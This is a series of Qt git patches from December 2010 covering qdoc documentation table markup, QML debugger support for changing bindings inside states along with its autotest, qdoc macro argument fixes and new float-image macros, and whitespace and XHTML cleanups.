    - \endraw - \image plastique-tabwidget.png Plastique Style Widget Gallery - - \bold{\l{Plastique Style Widget Gallery}} + \table + \row + \o \image plastique-tabwidget.png Plastique Style Widget Gallery + \caption \l{Plastique Style Widget Gallery} The Plastique style is provided by QPlastiqueStyle. - \raw HTML - - \endraw - \image windowsxp-tabwidget.png Windows XP Style Widget Gallery - - \bold{\l{Windows XP Style Widget Gallery}} + \o \image windowsxp-tabwidget.png Windows XP Style Widget Gallery + \caption \l{Windows XP Style Widget Gallery} The Windows XP style is provided by QWindowsXPStyle. - \raw HTML -
    - \endraw - \image gtk-tabwidget.png GTK Style Widget Gallery + \o \image windows-tabwidget.png Windows Style Widget Gallery + \caption \l{Windows Style Widget Gallery} - \bold{\l{GTK Style Widget Gallery}} - - The GTK style is provided by QGtkStyle. - \raw HTML - - \endraw - \image macintosh-tabwidget.png Macintosh Style Widget Gallery + The Windows style is provided by QWindowsStyle. + \endtable - \bold{\l{Macintosh Style Widget Gallery}} + \table + \row + \o \image macintosh-tabwidget.png Macintosh Style Widget Gallery + \caption \l{Macintosh Style Widget Gallery} The Macintosh style is provided by QMacStyle. - \raw HTML -
    - \endraw - \image cleanlooks-tabwidget.png Cleanlooks Style Widget Gallery - - \bold{\l{Cleanlooks Style Widget Gallery}} + \o \image cleanlooks-tabwidget.png Cleanlooks Style Widget Gallery + \caption \l{Cleanlooks Style Widget Gallery} The Cleanlooks style is provided by QCleanlooksStyle. - \raw HTML - - \endraw - \image windowsvista-tabwidget.png Windows Vista Style Widget Gallery - - \bold{\l{Windows Vista Style Widget Gallery}} + \o \image windowsvista-tabwidget.png Windows Vista Style Widget Gallery + \caption \l{Windows Vista Style Widget Gallery} The Windows Vista style is provided by QWindowsVistaStyle. - \raw HTML -
    - \endraw - \image motif-tabwidget.png Motif Style Widget Gallery + \endtable - \bold{\l{Motif Style Widget Gallery}} + \table + \row + \o \image gtk-tabwidget.png GTK Style Widget Gallery + \caption \l{GTK Style Widget Gallery} - The Motif style is provided by QMotifStyle. - \raw HTML - - \endraw - \image windows-tabwidget.png Windows Style Widget Gallery - - \bold{\l{Windows Style Widget Gallery}} - - The Windows style is provided by QWindowsStyle. - \raw HTML -
    - \endraw - \image cde-tabwidget.png CDE Style Widget Gallery + The GTK style is provided by QGtkStyle. + \o \image motif-tabwidget.png Motif Style Widget Gallery + \caption \l{Motif Style Widget Gallery} - \bold{\l{CDE Style Widget Gallery}} + The Motif style is provided by QMotifStyle. + \o \image cde-tabwidget.png CDE Style Widget Gallery + \caption \l{CDE Style Widget Gallery} The Common Desktop Environment style is provided by QCDEStyle. - \raw HTML -
    - \endraw + \endtable */ -- cgit v0.12 From 7618adbd60f0aaeac63a1ac65e733fc8962a1cd9 Mon Sep 17 00:00:00 2001 From: Christiaan Janssen Date: Mon, 13 Dec 2010 13:26:56 +0100 Subject: QmlDebugger: setting bindings in states Reviewied-by: Kai Koehne --- src/declarative/qml/qdeclarativeenginedebug.cpp | 110 +++++++++++++++++---- src/declarative/qml/qdeclarativeenginedebug_p.h | 5 + .../qdeclarativedebug/tst_qdeclarativedebug.cpp | 101 ++++++++++++++++++- 3 files changed, 196 insertions(+), 20 deletions(-) diff --git a/src/declarative/qml/qdeclarativeenginedebug.cpp b/src/declarative/qml/qdeclarativeenginedebug.cpp index 5f338db..4d6e50c 100644 --- a/src/declarative/qml/qdeclarativeenginedebug.cpp +++ b/src/declarative/qml/qdeclarativeenginedebug.cpp @@ -52,6 +52,7 @@ #include "private/qdeclarativevaluetype_p.h" #include "private/qdeclarativevmemetaobject_p.h" #include "private/qdeclarativeexpression_p.h" +#include "private/qdeclarativepropertychanges_p.h" #include #include @@ -304,6 +305,35 @@ void QDeclarativeEngineDebugServer::buildObjectList(QDataStream &message, QDecla } } +void QDeclarativeEngineDebugServer::buildStatesList(QDeclarativeContext *ctxt, bool cleanList=false) +{ + if (cleanList) + m_allStates.clear(); + + QDeclarativeContextPrivate *ctxtPriv = QDeclarativeContextPrivate::get(ctxt); + for (int ii = 0; ii < ctxtPriv->instances.count(); ++ii) { + buildStatesList(ctxtPriv->instances.at(ii)); + } + + QDeclarativeContextData *child = QDeclarativeContextData::get(ctxt)->childContexts; + while (child) { + buildStatesList(child->asQDeclarativeContext()); + child = child->nextChild; + } +} + +void QDeclarativeEngineDebugServer::buildStatesList(QObject *obj) +{ + if (QDeclarativeState *state = dynamic_cast(obj)) { + m_allStates.append(state); + } + + QObjectList children = obj->children(); + for (int ii = 0; ii < children.count(); ++ii) { + buildStatesList(children.at(ii)); + } +} + QDeclarativeEngineDebugServer::QDeclarativeObjectData QDeclarativeEngineDebugServer::objectData(QObject *object) { @@ -382,8 +412,10 @@ void QDeclarativeEngineDebugServer::messageReceived(const QByteArray &message) QDataStream rs(&reply, QIODevice::WriteOnly); rs << QByteArray("LIST_OBJECTS_R") << queryId; - if (engine) + if (engine) { buildObjectList(rs, engine->rootContext()); + buildStatesList(engine->rootContext(), true); + } sendMessage(reply); } else if (type == "FETCH_OBJECT") { @@ -504,26 +536,66 @@ void QDeclarativeEngineDebugServer::setBinding(int objectId, { QObject *object = objectForId(objectId); QDeclarativeContext *context = qmlContext(object); + QByteArray propertyNameArray = propertyName.toUtf8(); if (object && context) { - QDeclarativeProperty property(object, propertyName, context); - if (isLiteralValue) { - property.write(expression); - } else if (hasValidSignal(object, propertyName)) { - QDeclarativeExpression *declarativeExpression = new QDeclarativeExpression(context, object, expression.toString()); - QDeclarativeExpression *oldExpression = QDeclarativePropertyPrivate::setSignalExpression(property, declarativeExpression); - declarativeExpression->setSourceLocation(oldExpression->sourceFile(), oldExpression->lineNumber()); - } else if (property.isProperty()) { - QDeclarativeBinding *binding = new QDeclarativeBinding(expression.toString(), object, context); - binding->setTarget(property); - binding->setNotifyOnValueChanged(true); - QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::setBinding(property, binding); - if (oldBinding) - oldBinding->destroy(); - binding->update(); + if (property.isValid()) { + + bool inBaseState = true; + + foreach(QWeakPointer statePointer, m_allStates) { + if (QDeclarativeState *state = statePointer.data()) { + // here we assume that the revert list on itself defines the base state + if ( state->isStateActive() && state->containsPropertyInRevertList(object, propertyNameArray) ) { + inBaseState = false; + + QDeclarativeBinding *newBinding = 0; + if (!isLiteralValue) { + newBinding = new QDeclarativeBinding(expression.toString(), object, context); + newBinding->setTarget(property); + newBinding->setNotifyOnValueChanged(true); + } + + state->changeBindingInRevertList(object,propertyNameArray, newBinding); + + if (isLiteralValue) + state->changeValueInRevertList(object, propertyNameArray, expression); + } + } + } + + if (inBaseState) { + if (isLiteralValue) { + property.write(expression); + } else if (hasValidSignal(object, propertyName)) { + QDeclarativeExpression *declarativeExpression = new QDeclarativeExpression(context, object, expression.toString()); + QDeclarativeExpression *oldExpression = QDeclarativePropertyPrivate::setSignalExpression(property, declarativeExpression); + declarativeExpression->setSourceLocation(oldExpression->sourceFile(), oldExpression->lineNumber()); + } else if (property.isProperty()) { + QDeclarativeBinding *binding = new QDeclarativeBinding(expression.toString(), object, context); + binding->setTarget(property); + binding->setNotifyOnValueChanged(true); + QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::setBinding(property, binding); + if (oldBinding) + oldBinding->destroy(); + binding->update(); + } else { + qWarning() << "QDeclarativeEngineDebugServer::setBinding: unable to set property" << propertyName << "on object" << object; + } + } + } else { - qWarning() << "QDeclarativeEngineDebugServer::setBinding: unable to set property" << propertyName << "on object" << object; + // not a valid property + if (QDeclarativePropertyChanges *propertyChanges = dynamic_cast(object)) { + if (isLiteralValue) { + propertyChanges->changeValue(propertyName.toUtf8(),expression); + } else { + propertyChanges->changeExpression(propertyName.toUtf8(),expression.toString()); + } + } else { + qWarning() << "QDeclarativeEngineDebugServer::setBinding: unable to set property" << propertyName << "on object" << object; + } } } } @@ -546,6 +618,10 @@ void QDeclarativeEngineDebugServer::resetBinding(int objectId, const QString &pr property.reset(); } } + } else { + if (QDeclarativePropertyChanges *propertyChanges = dynamic_cast(object)) { + propertyChanges->removeProperty(propertyName.toUtf8()); + } } } } diff --git a/src/declarative/qml/qdeclarativeenginedebug_p.h b/src/declarative/qml/qdeclarativeenginedebug_p.h index dc8bc85..65eb1ff 100644 --- a/src/declarative/qml/qdeclarativeenginedebug_p.h +++ b/src/declarative/qml/qdeclarativeenginedebug_p.h @@ -57,6 +57,7 @@ #include #include +#include QT_BEGIN_NAMESPACE @@ -64,6 +65,7 @@ class QDeclarativeEngine; class QDeclarativeContext; class QDeclarativeWatcher; class QDataStream; +class QDeclarativeState; class QDeclarativeEngineDebugServer : public QDeclarativeDebugService { @@ -108,6 +110,8 @@ private: void prepareDeferredObjects(QObject *); void buildObjectList(QDataStream &, QDeclarativeContext *); void buildObjectDump(QDataStream &, QObject *, bool, bool); + void buildStatesList(QDeclarativeContext *, bool); + void buildStatesList(QObject *obj); QDeclarativeObjectData objectData(QObject *); QDeclarativeObjectProperty propertyData(QObject *, int); QVariant valueContents(const QVariant &defaultValue) const; @@ -117,6 +121,7 @@ private: QList m_engines; QDeclarativeWatcher *m_watch; + QList > m_allStates; }; Q_DECLARATIVE_PRIVATE_EXPORT QDataStream &operator<<(QDataStream &, const QDeclarativeEngineDebugServer::QDeclarativeObjectData &); Q_DECLARATIVE_PRIVATE_EXPORT QDataStream &operator>>(QDataStream &, QDeclarativeEngineDebugServer::QDeclarativeObjectData &); diff --git a/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp b/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp index 20a3fa6..fac32d7 100644 --- a/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp +++ b/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp @@ -72,7 +72,7 @@ class tst_QDeclarativeDebug : public QObject Q_OBJECT private: - QDeclarativeDebugObjectReference findRootObject(int context = 0); + QDeclarativeDebugObjectReference findRootObject(int context = 0, bool recursive = false); QDeclarativeDebugPropertyReference findProperty(const QList &props, const QString &name) const; void waitForQuery(QDeclarativeDebugQuery *query); @@ -115,9 +115,10 @@ private slots: void setMethodBody(); void queryObjectTree(); + void setBindingInStates(); }; -QDeclarativeDebugObjectReference tst_QDeclarativeDebug::findRootObject(int context) +QDeclarativeDebugObjectReference tst_QDeclarativeDebug::findRootObject(int context, bool recursive) { QDeclarativeDebugEnginesQuery *q_engines = m_dbg->queryAvailableEngines(this); waitForQuery(q_engines); @@ -129,7 +130,9 @@ QDeclarativeDebugObjectReference tst_QDeclarativeDebug::findRootObject(int conte if (q_context->rootContext().objects().count() == 0) return QDeclarativeDebugObjectReference(); - QDeclarativeDebugObjectQuery *q_obj = m_dbg->queryObject(q_context->rootContext().objects()[context], this); + QDeclarativeDebugObjectQuery *q_obj = recursive ? + m_dbg->queryObjectRecursive(q_context->rootContext().objects()[context], this) : + m_dbg->queryObject(q_context->rootContext().objects()[context], this); waitForQuery(q_obj); QDeclarativeDebugObjectReference result = q_obj->object(); @@ -926,6 +929,98 @@ void tst_QDeclarativeDebug::tst_QDeclarativeDebugPropertyReference() compareProperties(r, ref); } +void tst_QDeclarativeDebug::setBindingInStates() +{ + // Check if changing bindings of propertychanges works + + const int sourceIndex = 3; + + QDeclarativeDebugObjectReference obj = findRootObject(sourceIndex); + + QVERIFY(obj.debugId() != -1); + QVERIFY(obj.children().count() >= 2); + + // We are going to switch state a couple of times, we need to get rid of the transition before + QDeclarativeDebugExpressionQuery *q_deleteTransition = m_dbg->queryExpressionResult(obj.debugId(),QString("transitions = []"),this); + waitForQuery(q_deleteTransition); + delete q_deleteTransition; + + + // check initial value of the property that is changing + QDeclarativeDebugExpressionQuery *q_setState; + q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"state1\""),this); + waitForQuery(q_setState); + delete q_setState; + + obj = findRootObject(sourceIndex); + QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),200); + + + q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"\""),this); + waitForQuery(q_setState); + delete q_setState; + + + obj = findRootObject(sourceIndex, true); + QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),100); + + + // change the binding + QDeclarativeDebugObjectReference state = obj.children()[0]; + QCOMPARE(state.className(), QString("State")); + QVERIFY(state.children().count() > 0); + + QDeclarativeDebugObjectReference propertyChange = state.children()[0]; + QVERIFY(propertyChange.debugId() != -1); + + QVERIFY( m_dbg->setBindingForObject(propertyChange.debugId(), "width",QVariant(300),true) ); + + // check properties changed in state + obj = findRootObject(sourceIndex); + QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),100); + + + q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"state1\""),this); + waitForQuery(q_setState); + delete q_setState; + + obj = findRootObject(sourceIndex); + QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),300); + + // check changing properties of base state from within a state + QVERIFY(m_dbg->setBindingForObject(obj.debugId(),"width","height*2",false)); + QVERIFY(m_dbg->setBindingForObject(obj.debugId(),"height","200",true)); + + obj = findRootObject(sourceIndex); + QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),300); + + q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"\""),this); + waitForQuery(q_setState); + delete q_setState; + + obj = findRootObject(sourceIndex); + QCOMPARE(findProperty(obj.properties(),"width").value().toInt(), 400); + + // reset binding while in a state + q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"state1\""),this); + waitForQuery(q_setState); + delete q_setState; + + obj = findRootObject(sourceIndex); + QCOMPARE(findProperty(obj.properties(),"width").value().toInt(), 300); + + m_dbg->resetBindingForObject(propertyChange.debugId(), "width"); + + obj = findRootObject(sourceIndex); + QCOMPARE(findProperty(obj.properties(),"width").value().toInt(), 400); + + // re-add binding + m_dbg->setBindingForObject(propertyChange.debugId(), "width", "300", true); + + obj = findRootObject(sourceIndex); + QCOMPARE(findProperty(obj.properties(),"width").value().toInt(), 300); +} + void tst_QDeclarativeDebug::queryObjectTree() { const int sourceIndex = 3; -- cgit v0.12 From 485ac91fd7e1243fad8809c0664130b52c5fa0bb Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 13 Dec 2010 14:07:05 +0100 Subject: Removed trailing whitespace. --- tools/qdoc3/atom.h | 50 +++++++++++++++++++++++++------------------------- 1 file changed, 25 insertions(+), 25 deletions(-) diff --git a/tools/qdoc3/atom.h b/tools/qdoc3/atom.h index 70fbae9..5b7da31 100644 --- a/tools/qdoc3/atom.h +++ b/tools/qdoc3/atom.h @@ -56,20 +56,20 @@ class Atom { public: enum Type { - AbstractLeft, - AbstractRight, + AbstractLeft, + AbstractRight, AnnotatedList, AutoLink, - BaseName, + BaseName, BriefLeft, - BriefRight, + BriefRight, C, - CaptionLeft, + CaptionLeft, CaptionRight, - Code, - CodeBad, - CodeNew, - CodeOld, + Code, + CodeBad, + CodeNew, + CodeOld, CodeQuoteArgument, CodeQuoteCommand, #ifdef QDOC_QML @@ -77,42 +77,42 @@ class Atom #endif FootnoteLeft, FootnoteRight, - FormatElse, + FormatElse, FormatEndif, FormatIf, FormattingLeft, FormattingRight, GeneratedList, - Image, + Image, ImageText, InlineImage, LegaleseLeft, LegaleseRight, - LineBreak, - Link, + LineBreak, + Link, LinkNode, - ListLeft, + ListLeft, ListItemNumber, ListTagLeft, ListTagRight, ListItemLeft, - ListItemRight, - ListRight, - Nop, + ListItemRight, + ListRight, + Nop, ParaLeft, - ParaRight, + ParaRight, #ifdef QDOC_QML Qml, QmlText, #endif - QuotationLeft, + QuotationLeft, QuotationRight, RawString, SectionLeft, SectionRight, SectionHeadingLeft, SectionHeadingRight, - SidebarLeft, + SidebarLeft, SidebarRight, SinceList, SnippetCommand, @@ -120,18 +120,18 @@ class Atom SnippetLocation, String, TableLeft, - TableRight, + TableRight, TableHeaderLeft, TableHeaderRight, TableRowLeft, - TableRowRight, - TableItemLeft, + TableRowRight, + TableItemLeft, TableItemRight, TableOfContents, Target, - UnhandledFormat, + UnhandledFormat, UnknownCommand, - Last = UnknownCommand + Last = UnknownCommand }; Atom(Type type, const QString &string = "") -- cgit v0.12 From c4e5d784609533e26ee9ea6459cd315bd9c3c0a4 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 13 Dec 2010 19:47:23 +0100 Subject: Fixed macro argument handling. Fixed macro definition parsing that confused someone into thinking that single backslashes would appear in macro definitions instead of control codes. Fixed a bug that caused only arguments in general macros to be handled. Enabled arguments in HTML macros. --- tools/qdoc3/doc.cpp | 47 ++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 42 insertions(+), 5 deletions(-) diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index f153dfb..a6e42c6 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -374,6 +374,7 @@ class DocParser void leaveTableRow(); CodeMarker *quoteFromFile(); void expandMacro(const QString& name, const QString& def, int numParams); + QString expandMacroToString(const QString &name, const QString &def, int numParams); Doc::SectioningUnit getSectioningUnit(); QString getArgument(bool verbatim = false); QString getOptionalArgument(); @@ -1228,7 +1229,7 @@ void DocParser::parse(const QString& source, } else { location().push(macro.defaultDefLocation.filePath()); - in.insert(pos, macro.defaultDef); + in.insert(pos, expandMacroToString(cmdStr, macro.defaultDef, macro.numParams)); len = in.length(); openedInputs.push(pos + macro.defaultDef.length()); } @@ -1968,15 +1969,14 @@ void DocParser::expandMacro(const QString &name, int j = 0; while (j < def.size()) { int paramNo; - if ((def[j] == '\\') && (j < def.size() - 1) && - ((paramNo = def[j + 1].digitValue()) >= 1) && + if (((paramNo = def[j].unicode()) >= 1) && (paramNo <= numParams)) { if (!rawString.isEmpty()) { append(Atom::RawString, rawString); rawString = ""; } append(Atom::String, args[paramNo - 1]); - j += 2; + j += 1; } else { rawString += def[j++]; @@ -1987,6 +1987,43 @@ void DocParser::expandMacro(const QString &name, } } +QString DocParser::expandMacroToString(const QString &name, const QString &def, int numParams) +{ + if (numParams == 0) { + return def; + } + else { + QStringList args; + QString rawString; + + for (int i = 0; i < numParams; i++) { + if (numParams == 1 || isLeftBraceAhead()) { + args << getArgument(true); + } + else { + location().warning(tr("Macro '\\%1' invoked with too few" + " arguments (expected %2, got %3)") + .arg(name).arg(numParams).arg(i)); + break; + } + } + + int j = 0; + while (j < def.size()) { + int paramNo; + if (((paramNo = def[j].unicode()) >= 1) && + (paramNo <= numParams)) { + rawString += args[paramNo - 1]; + j += 1; + } + else { + rawString += def[j++]; + } + } + return rawString; + } +} + Doc::SectioningUnit DocParser::getSectioningUnit() { QString name = getOptionalArgument(); @@ -2866,7 +2903,7 @@ void Doc::initialize(const Config& config) QString def = config.getString(macroDotName + Config::dot + *f); if (!def.isEmpty()) { macro.otherDefs.insert(*f, def); - int m = Config::numParams(macro.defaultDef); + int m = Config::numParams(def); if (macro.numParams == -1) { macro.numParams = m; } -- cgit v0.12 From b0ee435866b65c22338bfb6c878352ff69d868da Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 13 Dec 2010 19:52:01 +0100 Subject: Added macros for floating images and floating images with alt text. Ideally, these would be HTML-only macros, but the macro system doesn't know whether macro arguments used in pure HTML are file names, so the necessary files are not included. By using qdoc commands, we ensure the files are copied into the generated documentation's images directory. --- tools/qdoc3/test/macros.qdocconf | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/tools/qdoc3/test/macros.qdocconf b/tools/qdoc3/test/macros.qdocconf index 510a8b3..712d5e4 100644 --- a/tools/qdoc3/test/macros.qdocconf +++ b/tools/qdoc3/test/macros.qdocconf @@ -30,6 +30,38 @@ macro.endcomment = "\\c{*/}" macro.uuml.HTML = "ü" macro.mdash.HTML = "—" +# Macros for floating images and floating images with alt text. +# Ideally, these would be HTML-only macros. + +macro.floatleft = "\\raw HTML\n" \ + "
    " \ + "\\endraw\n" \ + "\\inlineimage \1\n" \ + "\\raw HTML\n" \ + "
    \n" \ + "\\endraw\n" +macro.figureleft = "\\raw HTML\n" \ + "
    " \ + "\\endraw\n" \ + "\\inlineimage \1 \2\n" \ + "\\raw HTML\n" \ + "
    \n" \ + "\\endraw\n" +macro.floatright = "\\raw HTML\n" \ + "
    \n" \ + "\\endraw\n" \ + "\\inlineimage \1\n" \ + "\\raw HTML\n" \ + "
    \n" \ + "\\endraw\n" +macro.figureright = "\\raw HTML\n" \ + "
    " \ + "\\endraw\n" \ + "\\inlineimage \1 \2\n" \ + "\\raw HTML\n" \ + "
    \n" \ + "\\endraw\n" + macro.beginfloatleft.HTML = "
    " macro.beginfloatright.HTML = "
    " macro.endfloat.HTML = "
    " -- cgit v0.12 From 95d30d54ca0771a31bf687dac885f02fc1244fc8 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 13 Dec 2010 19:54:33 +0100 Subject: Doc: Whitespace fix. --- doc/src/template/style/style.css | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css index 03bc9a9..04d8c05 100755 --- a/doc/src/template/style/style.css +++ b/doc/src/template/style/style.css @@ -281,7 +281,7 @@ color: #4c0033; text-decoration: none; } - .content a:visited:hover + .content a:visited:hover { color: #4c0033; text-decoration: underline; -- cgit v0.12 From 38ac76c159044117c1faba7dbfa3e0ee65c487ed Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 13 Dec 2010 19:55:08 +0100 Subject: Doc: Fixed non-well-formed XHTML. --- doc/src/declarative/qmlinuse.qdoc | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/doc/src/declarative/qmlinuse.qdoc b/doc/src/declarative/qmlinuse.qdoc index 1127b4c..a1be46c 100644 --- a/doc/src/declarative/qmlinuse.qdoc +++ b/doc/src/declarative/qmlinuse.qdoc @@ -72,7 +72,7 @@
    -
    +
    @@ -100,7 +100,7 @@
    -
    +
    @@ -140,7 +140,7 @@
    -
    +
    @@ -185,7 +185,7 @@
    -
    +
    @@ -198,7 +198,7 @@
    -

    QML Interaction Elements

    +

    QML Interaction Elements

    These elements define basic interactions such as touch movements and focus management.

    Elements: @@ -216,7 +216,7 @@
    -
    +
    @@ -243,7 +243,7 @@
    -
    +
    @@ -276,7 +276,7 @@
    -
    +
    @@ -307,7 +307,7 @@
    -
    +
    @@ -334,7 +334,7 @@
    -
    +
    @@ -372,7 +372,7 @@
    -
    +
    @@ -410,7 +410,7 @@
    -
    +
    @@ -441,7 +441,7 @@
    -
    +
    @@ -468,7 +468,7 @@
    -
    +
    -- cgit v0.12 From 5cb2226ddf96555417f08c9bfe35addfc93f6acd Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 13 Dec 2010 19:57:01 +0100 Subject: Doc: Changed floating images to use the new float qdoc macros. --- doc/src/declarative/positioners.qdoc | 22 ++++++---------------- doc/src/declarative/qdeclarativemodels.qdoc | 4 +--- doc/src/getting-started/how-to-learn-qt.qdoc | 4 +--- doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc | 4 +--- .../graphicsitems/qdeclarativeflickable.cpp | 4 +--- .../graphicsitems/qdeclarativegridview.cpp | 8 ++------ .../graphicsitems/qdeclarativemousearea.cpp | 4 +--- .../graphicsitems/qdeclarativerectangle.cpp | 20 +++++--------------- src/declarative/util/qdeclarativelistmodel.cpp | 8 ++------ src/gui/graphicsview/qgraphicsanchorlayout.cpp | 4 +--- 10 files changed, 21 insertions(+), 61 deletions(-) diff --git a/doc/src/declarative/positioners.qdoc b/doc/src/declarative/positioners.qdoc index 9265732..ed320a1 100644 --- a/doc/src/declarative/positioners.qdoc +++ b/doc/src/declarative/positioners.qdoc @@ -53,9 +53,7 @@ graphical elements: \section2 Column -\beginfloatright -\image qml-column.png -\endfloat +\floatright qml-column.png \l Column items are used to vertically arrange items. The following example uses a Column item to arrange three \l Rectangle items in an area defined @@ -70,9 +68,7 @@ must be added to a parent Rectangle, if desired. \section2 Row -\beginfloatright -\image qml-row.png -\endfloat +\floatright qml-row.png \l Row items are used to horizontally arrange items. The following example uses a Row item to arrange three rounded \l Rectangle items in an area defined @@ -87,9 +83,7 @@ left around the edges of the horizontally centered Row item. \section2 Grid -\beginfloatright -\image qml-grid-spacing.png -\endfloat +\floatright qml-grid-spacing.png \l Grid items are used to place items in a grid or table arrangement. The following example uses a Grid item to place four \l Rectangle items @@ -108,10 +102,8 @@ at the appropriate places in the Grid definition. \section2 Flow -\beginfloatright -\image qml-flow-text1.png -\image qml-flow-text2.png -\endfloat +\floatright qml-flow-text1.png +\floatright qml-flow-text2.png \l Flow items are used to place items like words on a page, with rows or columns of non-overlapping items. @@ -137,9 +129,7 @@ control of spacing between items and between lines of items. \section1 Repeaters -\beginfloatright -\image qml-repeater-grid-index.png -\endfloat +\floatright qml-repeater-grid-index.png Repeaters create items from a template for use with positioners, using data from a model. Combining repeaters and positioners is an easy way to lay out diff --git a/doc/src/declarative/qdeclarativemodels.qdoc b/doc/src/declarative/qdeclarativemodels.qdoc index e11cd56..a61b115 100644 --- a/doc/src/declarative/qdeclarativemodels.qdoc +++ b/doc/src/declarative/qdeclarativemodels.qdoc @@ -504,9 +504,7 @@ a Web browser. \l ListView shows a classic list of items with horizontal or vertical placing of items. -\beginfloatright -\inlineimage qml-listview-snippet.png -\endfloat +\floatright qml-listview-snippet.png The following example shows a minimal ListView displaying a sequence of numbers (using an \l{QML Data Models#An Integer}{integer as a model}). diff --git a/doc/src/getting-started/how-to-learn-qt.qdoc b/doc/src/getting-started/how-to-learn-qt.qdoc index e9f462c..e5f1ff9 100644 --- a/doc/src/getting-started/how-to-learn-qt.qdoc +++ b/doc/src/getting-started/how-to-learn-qt.qdoc @@ -51,9 +51,7 @@ key overviews to deepen your understanding of Qt: The Qt \l{Object Model} and \l{Signals and Slots}. - \beginfloatleft - \inlineimage qtdemo-small.png - \endfloat + \floatleft qtdemo-small.png \section1 Getting an Overview diff --git a/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc b/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc index d942ee6..598cbea 100644 --- a/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc +++ b/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc @@ -41,9 +41,7 @@ 现在您已经编写了一些小型可用的应用程序,并对 Qt 编程有更加广泛的了解。您可以直接着手做自己的项目,但我们建议您阅读以下一些关键简介以加深您对 Qt 的了解:\l{Qt Object Model}Qt 对象模型}和\l{Signals and Slots}{信号和槽}。 - \beginfloatleft - \inlineimage qtdemo-small.png - \endfloat + \floatleft qtdemo-small.png \section1 了解概况 diff --git a/src/declarative/graphicsitems/qdeclarativeflickable.cpp b/src/declarative/graphicsitems/qdeclarativeflickable.cpp index 377f3b5..1899a39 100644 --- a/src/declarative/graphicsitems/qdeclarativeflickable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflickable.cpp @@ -373,9 +373,7 @@ void QDeclarativeFlickablePrivate::updateBeginningEnd() \section1 Example Usage - \beginfloatright - \inlineimage flickable.gif - \endfloat + \floatright flickable.gif The following example shows a small view onto a large image in which the user can drag or flick the image in order to view different parts of it. diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index 1615b0f..c7517f4 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -1095,9 +1095,7 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m \snippet doc/src/snippets/declarative/gridview/ContactModel.qml 0 - \beginfloatright - \inlineimage gridview-simple.png - \endfloat + \floatright gridview-simple.png This model can be referenced as \c ContactModel in other QML files. See \l{QML Modules} for more information about creating reusable components like this. @@ -1111,9 +1109,7 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m \codeline \snippet doc/src/snippets/declarative/gridview/gridview.qml classdocs simple - \beginfloatright - \inlineimage gridview-highlight.png - \endfloat + \floatright gridview-highlight.png The view will create a new delegate for each item in the model. Note that the delegate is able to access the model's \c name and \c portrait data directly. diff --git a/src/declarative/graphicsitems/qdeclarativemousearea.cpp b/src/declarative/graphicsitems/qdeclarativemousearea.cpp index 0a043a7..56e5c6b 100644 --- a/src/declarative/graphicsitems/qdeclarativemousearea.cpp +++ b/src/declarative/graphicsitems/qdeclarativemousearea.cpp @@ -216,9 +216,7 @@ QDeclarativeMouseAreaPrivate::~QDeclarativeMouseAreaPrivate() \section1 Example Usage - \beginfloatright - \inlineimage qml-mousearea-snippet.png - \endfloat + \floatright qml-mousearea-snippet.png The following example uses a MouseArea in a \l Rectangle that changes the \l Rectangle color to red when clicked: diff --git a/src/declarative/graphicsitems/qdeclarativerectangle.cpp b/src/declarative/graphicsitems/qdeclarativerectangle.cpp index 99b36a8..969027e 100644 --- a/src/declarative/graphicsitems/qdeclarativerectangle.cpp +++ b/src/declarative/graphicsitems/qdeclarativerectangle.cpp @@ -131,9 +131,7 @@ void QDeclarativeGradientStop::updateGradient() \section1 Example Usage - \beginfloatright - \inlineimage qml-gradient.png - \endfloat + \floatright qml-gradient.png The following example declares a \l Rectangle item with a gradient starting with red, blending to yellow at one third of the height of the rectangle, @@ -217,9 +215,7 @@ void QDeclarativeGradient::doUpdate() \section1 Example Usage - \beginfloatright - \inlineimage declarative-rect.png - \endfloat + \floatright declarative-rect.png The following example shows the effects of some of the common properties on a Rectangle item, which in this case is used to create a square: @@ -269,9 +265,7 @@ void QDeclarativeRectangle::doUpdate() rectangle (as documented for QRect rendering). This can cause unintended effects if \c border.width is 1 and the rectangle is \l{Item::clip}{clipped} by a parent item: - \beginfloatright - 